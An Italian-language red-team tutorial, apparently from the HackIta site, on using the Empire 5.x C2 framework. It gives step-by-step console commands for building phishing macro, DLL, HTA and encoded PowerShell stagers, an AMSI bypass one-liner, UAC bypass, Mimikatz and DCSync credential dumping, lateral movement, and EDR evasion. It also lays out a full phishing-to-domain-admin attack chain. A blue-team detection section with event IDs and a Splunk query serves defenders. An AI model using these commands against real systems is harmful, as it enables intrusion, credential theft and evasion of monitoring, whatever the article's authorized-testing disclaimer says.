Empire: framework C2 post-exploitation per red team operation

Empire 5.0 guida completa a C2 PowerShell: stager, AMSI bypass, post-exploitation, lateral movement e tecniche di evasion. Cheat sheet inclusa.
- Pubblicato il 2026-02-11
- Tempo di lettura: 9 min
Empire è un framework Command & Control (C2) specializzato nella post-exploitation attraverso agenti PowerShell e Python. A differenza di strumenti general-purpose come Metasploit, Empire è costruito specificamente per operazioni stealth in ambienti Windows, offrendo moduli nativi per Mimikatz, lateral movement, token manipulation e persistence senza mai scrivere powershell.exe su disco. Questa guida mostra come configurare listener, generare stager, gestire agenti e evadere detection in engagement reali.
Il progetto originale Empire fu abbandonato nel 2019, ma BC Security ha rilasciato Empire 5.x (versione attuale 5.2+) con architettura completamente riscritta, REST API v2, interfaccia web Starkiller integrata, e supporto C# nativo attraverso Sharpire. Per chi opera in red team o advanced penetration testing, Empire rappresenta il punto di equilibrio tra potenza, flessibilità e operational security.
Setup e installazione di Empire 5.x #
L’installazione moderna di Empire richiede Python 3.10+ e utilizza un’architettura client-server separata. Il setup può avvenire su Kali Linux, Ubuntu, o container Docker.
Installazione su Kali Linux (metodo raccomandato) #
# Verifica versione Python (richiesto 3.10+)
python3 --version
# Clone repository BC Security
git clone https://github.com/BC-SECURITY/Empire.git
cd Empire
# Esecuzione script di setup (installa dipendenze, crea database)
sudo ./setup/install.sh
# Avvio server Empire
sudo ./ps-empire server
# Output atteso:
# [*] Loading listeners
# [*] Loading agents
# [*] Loading modules
# [*] Starting Empire RESTful API on 0.0.0.0:1337
# [*] Starting Starkiller on 0.0.0.0:1337Primo accesso: configurazione credenziali #
# In un nuovo terminale, avvia il client
./ps-empire client
# Output: prompt di configurazione
# Username: admin
# Password: [crea password sicura]
# Connessione al server
(Empire) > listeners
(Empire: listeners) > La versione 5.0+ integra Starkiller, interfaccia web accessibile su https://localhost:1337. Credenziali di default: username empireadmin, password impostata durante il setup.
Verifica funzionamento completo #
# Verifica moduli disponibili
(Empire) > usemodule
# TAB completion mostra ~400 moduli
# Test listener HTTP
(Empire) > listeners
(Empire: listeners) > uselistener http
(Empire: http) > info
# Verifica parametri Host, Port, NameArchitettura Empire: listener, stager, agent #
Prima di operare con Empire, comprendere il workflow è fondamentale. L’architettura si compone di tre elementi:
Listener: server che rimane in ascolto per connessioni agent in ingresso. Empire supporta HTTP, HTTPS, Hop (per pivoting), OneDrive, DbX (Dropbox), e listener con profili Malleable C2.
Stager: payload iniziale leggero che viene eseguito sul target. Contiene logica per connettersi al listener, scaricare lo stage 2 (agent completo), e stabilire comunicazione bidirezionale.
Agent: shell completa sul target con accesso ai moduli Empire. Opera in background, esegue tasking, carica moduli PowerShell/Python in memoria, e invia risultati al server.
Creazione listener HTTP con profilo custom #
(Empire: listeners) > uselistener http
(Empire: http) > set Name corporate-update
(Empire: http) > set Host http://192.168.1.100:8080
(Empire: http) > set Port 8080
# Profilo HTTP per mimetizzazione traffico
(Empire: http) > set DefaultProfile /admin/get.php,/news.php|Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
# UserAgent realistico per blending
(Empire: http) > set UserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(Empire: http) > execute
[*] Starting listener 'corporate-update'
[+] Listener successfully started!Il parametro DefaultProfile è cruciale: definisce gli URI richiesti (/admin/get.php) e lo User-Agent. Modificare questi valori randomizzandoli previene signature-based detection.
Generazione stager multi-formato #
Empire offre decine di stager types. I più utilizzati:
# Launcher PowerShell base64 (delivery via clipboard, SMB)
(Empire) > usestager multi/launcher
(Empire: multi/launcher) > set Listener corporate-update
(Empire: multi/launcher) > execute
# Output: one-liner PowerShell base64
powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBTAHkAcwB0AGU...
# Macro Office (delivery via phishing)
(Empire) > usestager windows/macro
(Empire: windows/macro) > set Listener corporate-update
(Empire: windows/macro) > set OutFile /tmp/macro.vba
(Empire: windows/macro) > execute
[*] Macro written to /tmp/macro.vba
# DLL per DLL hijacking
(Empire) > usestager windows/dll
(Empire: windows/dll) > set Listener corporate-update
(Empire: windows/dll) > set Arch x64
(Empire: windows/dll) > execute
# HTA per delivery via browser
(Empire) > usestager windows/hta
(Empire: windows/hta) > set Listener corporate-update
(Empire: windows/hta) > executeOgni stager include automaticamente AMSI bypass (Matt Graeber’s technique) e Script Block Logging disablement per evadere detection standard.
Gestione agent: tasking e post-exploitation #
Dopo esecuzione dello stager sul target, un agent richiama al listener. La gestione avviene tramite comandi specifici.
Agent callback e interaction #
# Visualizza agent attivi
(Empire) > agents
# Output:
# Name Internal IP External IP Hostname High Integrity
# ---- ----------- ----------- -------- --------------
# AB3D2F1 192.168.1.55 1.2.3.4 WKS-01 False
# Interazione con agent specifico
(Empire) > interact AB3D2F1
(Empire: AB3D2F1) >
# Comandi base
(Empire: AB3D2F1) > shell whoami
corp\jdoe
(Empire: AB3D2F1) > shell hostname
WKS-01
# Info agent dettagliate
(Empire: AB3D2F1) > infoPrivilege escalation con moduli integrati #
Empire include moduli nativi per privilege escalation automatica:
# UAC bypass tramite Fodhelper (Windows 10/11)
(Empire: AB3D2F1) > usemodule powershell/privesc/bypassuac_fodhelper
(Empire: bypassuac_fodhelper) > execute
# AlwaysInstallElevated check e exploit
(Empire: AB3D2F1) > usemodule powershell/privesc/powerup/allchecks
(Empire: allchecks) > execute
# Output: identifica misconfigurazioni exploitabili
# [*] Checking for AlwaysInstallElevated registry key...
# [+] AlwaysInstallElevated enabled!
# Token manipulation (steal SYSTEM token)
(Empire: AB3D2F1) > usemodule powershell/privesc/get_system
(Empire: get_system) > execute
# Verifica elevazione
(Empire: AB3D2F1) > shell whoami /priv
# Privilege Name Description
# SeDebugPrivilege Debug programs (Enabled)Credential dumping con Mimikatz integrato #
# Logonpasswords dump
(Empire: AB3D2F1) > usemodule powershell/credentials/mimikatz/logonpasswords
(Empire: logonpasswords) > execute
# Output:
# Authentication Id : 0 ; 123456
# User Name : jsmith
# Domain : CORP
# NTLM : 5f4dcc3b5aa765d61d8327deb882cf99
# DCSync per hash krbtgt (richiede Domain Admin)
(Empire: AB3D2F1) > usemodule powershell/credentials/mimikatz/dcsync
(Empire: dcsync) > set user krbtgt
(Empire: dcsync) > set domain corp.local
(Empire: dcsync) > executePer approfondire tecniche di credential extraction dopo compromise iniziale, consulta la nostra guida su DCSync e secretsdump.
Lateral movement e pivoting con agent #
Empire eccelle nel movimento laterale post-compromise. I moduli integrati permettono Pass-the-Hash, WMI execution, e agent hopping.
Scenario 1: WMI lateral movement con credenziali #
# Da agent WKS-01, movimento verso SRV-FILE
(Empire: AB3D2F1) > usemodule powershell/lateral_movement/invoke_wmi
(Empire: invoke_wmi) > set ComputerName SRV-FILE.corp.local
(Empire: invoke_wmi) > set Listener corporate-update
(Empire: invoke_wmi) > set CredID 1
# CredID riferimento a credenziali precedentemente harvested
(Empire: invoke_wmi) > execute
# Timeline: 15-30 secondi
# Output: nuovo agent da SRV-FILE
(Empire) > agents
# Name Internal IP Hostname
# AB3D2F1 192.168.1.55 WKS-01
# CD4E5G2 192.168.1.70 SRV-FILE <- nuovoQuesto approccio è simile all’utilizzo diretto di WMIExec con Impacket, ma Empire gestisce automaticamente agent deployment e persistenza.
Scenario 2: PSRemoting con credential object #
# Invoke-Command su target remoto
(Empire: AB3D2F1) > usemodule powershell/lateral_movement/invoke_psremoting
(Empire: invoke_psremoting) > set ComputerName DC01.corp.local
(Empire: invoke_psremoting) > set Listener corporate-update
(Empire: invoke_psremoting) > set UserName corp\administrator
(Empire: invoke_psremoting) > set Password SecureP@ss123
(Empire: invoke_psremoting) > execute
# Se fallisce: verificare WinRM enabled
# COSA FARE:
# (Empire: AB3D2F1) > shell winrm quickconfig -qScenario 3: agent pivoting con hop listener #
Per target non direttamente raggiungibili dal C2 server, usare Hop listener:
# Sul server Empire
(Empire) > uselistener http_hop
(Empire: http_hop) > set RedirectListener corporate-update
(Empire: http_hop) > set Host http://192.168.10.50:8081
(Empire: http_hop) > execute
# Sul compromised host con accesso a subnet interna
(Empire: AB3D2F1) > usemodule powershell/management/invoke_script
(Empire: invoke_script) > set ScriptPath /tmp/hop-server.ps1
(Empire: invoke_script) > execute
# Agent da subnet interna connettono a hop, che relay a C2Attack chain completa: phishing → domain admin #
Una chain realistica dimostra l’integrazione di Empire nell’intero kill chain.
Timeline totale: 4-6 ore
| Fase | Durata | Azioni Empire |
|---|---|---|
| Initial Access | 30 min | Phishing con macro Empire → agent callback |
| Reconnaissance | 1 ora | PowerView modules, BloodHound data collection |
| Privilege Escalation | 45 min | UAC bypass, AlwaysInstallElevated exploit |
| Credential Access | 30 min | Mimikatz logonpasswords, LSA secrets |
| Lateral Movement | 1-2 ore | WMI/PSRemoting verso file server, DC |
| Domain Dominance | 30 min | DCSync krbtgt, Golden Ticket generation |
# Fase 1: Initial Access (agent già attivo da phishing)
(Empire) > agents
# AB3D2F1 - jdoe@WKS-01 (user context)
# Fase 2: Reconnaissance con PowerView
(Empire: AB3D2F1) > usemodule powershell/situational_awareness/network/powerview/get_domain_computer
(Empire: get_domain_computer) > execute
# Output: lista 50 computer nel dominio
# Fase 3: Privilege Escalation locale
(Empire: AB3D2F1) > usemodule powershell/privesc/bypassuac_eventvwr
(Empire: bypassuac_eventvwr) > execute
# Nuovo agent con High Integrity
# Fase 4: Credential Harvesting
(Empire: AB3D2F1) > usemodule powershell/credentials/mimikatz/logonpasswords
# Hash Domain Admin trovato in memoria
# Fase 5: Lateral Movement verso DC
(Empire: AB3D2F1) > usemodule powershell/lateral_movement/invoke_psexec
(Empire: invoke_psexec) > set ComputerName DC01
(Empire: invoke_psexec) > set CredID 3
(Empire: invoke_psexec) > execute
# Fase 6: DCSync
(Empire: CD4E5G2) > usemodule powershell/credentials/mimikatz/dcsync
(Empire: dcsync) > set user krbtgt
(Empire: dcsync) > execute
# Hash krbtgt estratto - Golden Ticket readyPer tecniche di enumeration preliminari che precedono l’uso di Empire, approfondisci con PowerView per Active Directory reconnaissance.
Detection e indicatori per il blue team #
Comprendere cosa rileva il blue team è essenziale per OPSEC.
Event ID Windows critici #
Event ID 4104 (PowerShell Script Block Logging) registra il contenuto completo degli script eseguiti. Empire include bypass, ma configurazioni hardened potrebbero loggare comunque:
ScriptBlockText:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)Event ID 4688 (Process Creation) con CommandLine contenente parametri sospetti:
NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLine: powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBTAHkAcwB0...Sysmon Event ID 3 (Network Connection) rileva beaconing pattern verso IP esterni su porte non-standard:
DestinationIp: 1.2.3.4
DestinationPort: 8080
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeNetwork signatures e C2 profiling #
Il traffico HTTP di Empire standard ha signature riconoscibili. Analizzatori di traffico cercano:
- URI pattern predefiniti (
/admin/get.php,/news.php) - Header custom con valori default
- Beaconing regolare ogni X secondi (jitter può randomizzare)
- Encryption padding patterns
Query Splunk per detection:
index=proxy http_method=POST
| where match(uri_path, "/(admin|news)\.php")
| stats count by src_ip, dest_ip, uri_path
| where count > 20Tecniche di evasion avanzate #
1. Malleable C2 Profiles (jQuery profile) #
# Usa profilo che mimetizza traffico jQuery CDN
(Empire) > uselistener http
(Empire: http) > set DefaultProfile /jquery-3.3.1.min.js|Mozilla/5.0
(Empire: http) > set ServerVersion Microsoft-IIS/8.5
(Empire: http) > executeI profili malleable modificano struttura richieste/risposte HTTP per emulare traffico legittimo.
2. Module obfuscation automatica #
# Abilita obfuscation per singolo modulo
(Empire: AB3D2F1) > usemodule powershell/credentials/mimikatz/logonpasswords
(Empire: logonpasswords) > set Obfuscate True
(Empire: logonpasswords) > set ObfuscateCommand Token\All\1
(Empire: logonpasswords) > executeInvoke-Obfuscation integrato randomizza variable names, strings, e command structure.
3. Sleep e jitter per evitare beaconing detection #
# Configura agent sleep time e jitter
(Empire: AB3D2F1) > sleep 120 30
# Sleep 120 secondi con jitter 30% (96-144 secondi randomizzati)
# Kill date per auto-destruction
(Empire: AB3D2F1) > set killdate 2026-03-15Comparison con alternative C2 #
| Framework | Linguaggio Agent | GUI | Evasion Built-in | Multi-user | Curva apprendimento |
|---|---|---|---|---|---|
| Empire 5.x | PowerShell, C#, Python | Starkiller (Web) | AMSI bypass, obfuscation | Sì (API) | Media |
| Covenant | C# | Blazor Web UI | Task obfuscation | Sì | Bassa |
| Metasploit | Meterpreter (C) | msfconsole, GUI | Limitata | Sì | Media-Alta |
| Cobalt Strike | Beacon (C) | Java GUI | Malleable C2 | Sì (team server) | Alta |
| Sliver | Go | Web + CLI | Diversi profili | Sì | Media |
Quando preferire Empire: post-exploitation Windows-focused, operazioni stealth con PowerShell nativo, budget limitato (open source vs. Cobalt Strike commerciale), integrazione con moduli PowerView/Mimikatz.
Troubleshooting errori comuni #
Agent non richiama dopo execution stager #
Causa: Firewall blocca porte outbound, AMSI detection durante staging, listener non in ascolto.
Fix:
# Verifica listener attivo
(Empire) > listeners
# Listener deve mostrare [*] Running
# Test stager locale
powershell.exe -File stager.ps1
# Verifica errori PowerShell
# Cambia porta listener (443, 80 spesso consentite)
(Empire: http) > set Port 443Modulo fallisce con errore AMSI #
Causa: AMSI bypass non efficace su Windows 10 21H2+, module signature rilevata.
Fix:
# Usa obfuscation
set Obfuscate True
# Modifica manualmente module source
# Location: Empire/data/module_source/
# Alternativa: C# agent invece di PowerShell
(Empire) > usestager windows/csharp_exeDatabase corrotto dopo crash #
Causa: Terminazione forzata Empire server, disk full.
Fix:
# Backup database
cp empire/server/data/empire.db empire/server/data/empire.db.backup
# Reset database
./ps-empire server --reset
# Import agent da backup (se necessario)
# Manuale via SQLitePerformance e scaling multi-agent #
Empire gestisce efficacemente fino a 100-200 agent simultanei su hardware moderno (4 CPU, 8GB RAM). Oltre questa soglia, considera:
Agent sleep optimization: agent dormienti consumano risorse minime. Default 60s, aumentare a 300-600s per operazioni long-term.
Module threading: alcuni moduli (invoke_kerberoast con migliaia di SPN) bloccano agent. Usare jobs per esecuzione background:
(Empire: AB3D2F1) > usemodule powershell/credentials/invoke_kerberoast
(Empire: invoke_kerberoast) > set Background True
(Empire: invoke_kerberoast) > execute
# Verifica job status
(Empire: AB3D2F1) > jobsDatabase maintenance: database SQLite può rallentare con migliaia di task storici. Periodic cleanup:
# Via Empire shell
(Empire) > database cleanup 30
# Rimuove task più vecchi di 30 giorniFAQ Empire C2 #
Cos’è PowerShell Empire e quando usarlo? Empire è un framework Command & Control open-source specializzato in post-exploitation su sistemi Windows tramite agenti PowerShell e C#. Si usa dopo compromise iniziale per lateral movement, privilege escalation, credential harvesting e persistence. Ideale quando OPSEC è prioritaria rispetto alla velocità di exploitation.
Empire funziona su Windows 11 con Windows Defender? Sì, ma richiede customizzazione. Gli stager default vengono rilevati. Necessario: modificare DefaultProfile, abilitare obfuscation moduli, usare stager C# invece di PowerShell puro, e testare ogni payload su VM Windows 11 aggiornata prima del deployment.
Come bypassare AMSI con Empire 5.0?
Empire include AMSI bypass di default negli stager. Per moduli, abilitare Obfuscate True. Se detection persiste: modificare manualmente file in data/module_source/, usare Invoke-Obfuscation esternamente prima di import, o optare per agent C# (Sharpire) che evita PowerShell interamente.
Qual è la differenza tra listener e stager? Il listener è il server C2 che riceve connessioni (HTTP, HTTPS, hop). Lo stager è il payload iniziale eseguito sul target che contatta il listener, scarica l’agent completo (stage 2), e stabilisce sessione persistente. Un listener può gestire molti agent da stager diversi.
Come fare lateral movement con Empire?
Empire offre moduli dedicati: invoke_wmi per WMI execution, invoke_psremoting per WinRM, invoke_psexec per SMB-based execution. Tutti richiedono credenziali (username/password o hash NTLM). I moduli generano automaticamente agent sul target senza interazione manuale.
Empire è rilevato dagli EDR moderni? Empire standard è rilevato. EDR cercano AMSI bypass signatures, process tree anomale (powershell.exe senza parent visibile), network beaconing pattern, e module signatures (Mimikatz, PowerView). Evasion richiede: customizzazione profili C2, obfuscation, agent C#, e operational discipline (sleep lunghi, targeting selettivo).
Come rimuovere agent e cleanup post-test?
# Terminazione agent
(Empire: AB3D2F1) > exit
# Cleanup artefatti
(Empire: AB3D2F1) > usemodule powershell/management/remove_artifacts
(Empire: remove_artifacts) > execute
# Kill all agents
(Empire) > agents
(Empire) > kill allCheat Sheet comandi Empire #
# === SERVER & CLIENT ===
./ps-empire server # Avvia server
./ps-empire client # Avvia client CLI
https://localhost:1337 # Starkiller web UI
# === LISTENER ===
listeners # Lista listener
uselistener http # Seleziona listener
set Host http://IP:PORT # Configura host
set Name custom-listener # Nome listener
execute # Avvia listener
kill LISTENER_NAME # Stop listener
# === STAGER ===
usestager multi/launcher # Stager PowerShell
usestager windows/macro # Macro Office
usestager windows/dll # DLL stager
usestager windows/csharp_exe # EXE C#
set Listener LISTENER_NAME # Associa listener
execute # Genera stager
# === AGENT MANAGEMENT ===
agents # Lista agent
interact AGENT_NAME # Interagisci agent
shell COMMAND # Esegui comando
upload /local/path C:\remote\path # Upload file
download C:\remote\file /local/path # Download file
sleep SECONDS JITTER_PCT # Configura sleep
kill # Termina agent
# === MODULI ESSENZIALI ===
usemodule powershell/situational_awareness/network/powerview/get_domain_user
usemodule powershell/credentials/mimikatz/logonpasswords
usemodule powershell/credentials/mimikatz/dcsync
usemodule powershell/privesc/bypassuac_fodhelper
usemodule powershell/lateral_movement/invoke_wmi
usemodule powershell/persistence/elevated/registry
usemodule powershell/collection/keylogger
# === CREDENTIALS ===
creds # Visualizza creds
creds add DOMAIN USERNAME PASSWORD # Aggiungi creds
creds export /tmp/creds.csv # Esporta creds
# === DATABASE & REPORTING ===
database cleanup 30 # Cleanup task >30 giorni
reporting # Genera reportDisclaimer: Questo articolo è destinato esclusivamente a scopi educativi e di penetration testing autorizzato. L’utilizzo di Empire su sistemi senza esplicito consenso scritto del proprietario è illegale. Empire è uno strumento per professionisti della sicurezza in ambiente controllato.
Repository ufficiale: https://github.com/BC-SECURITY/Empire
Vuoi supportare HackIta? Visita hackita.it/supporto per donazioni. Per penetration test professionali e formazione 1:1, scopri hackita.it/servizi.







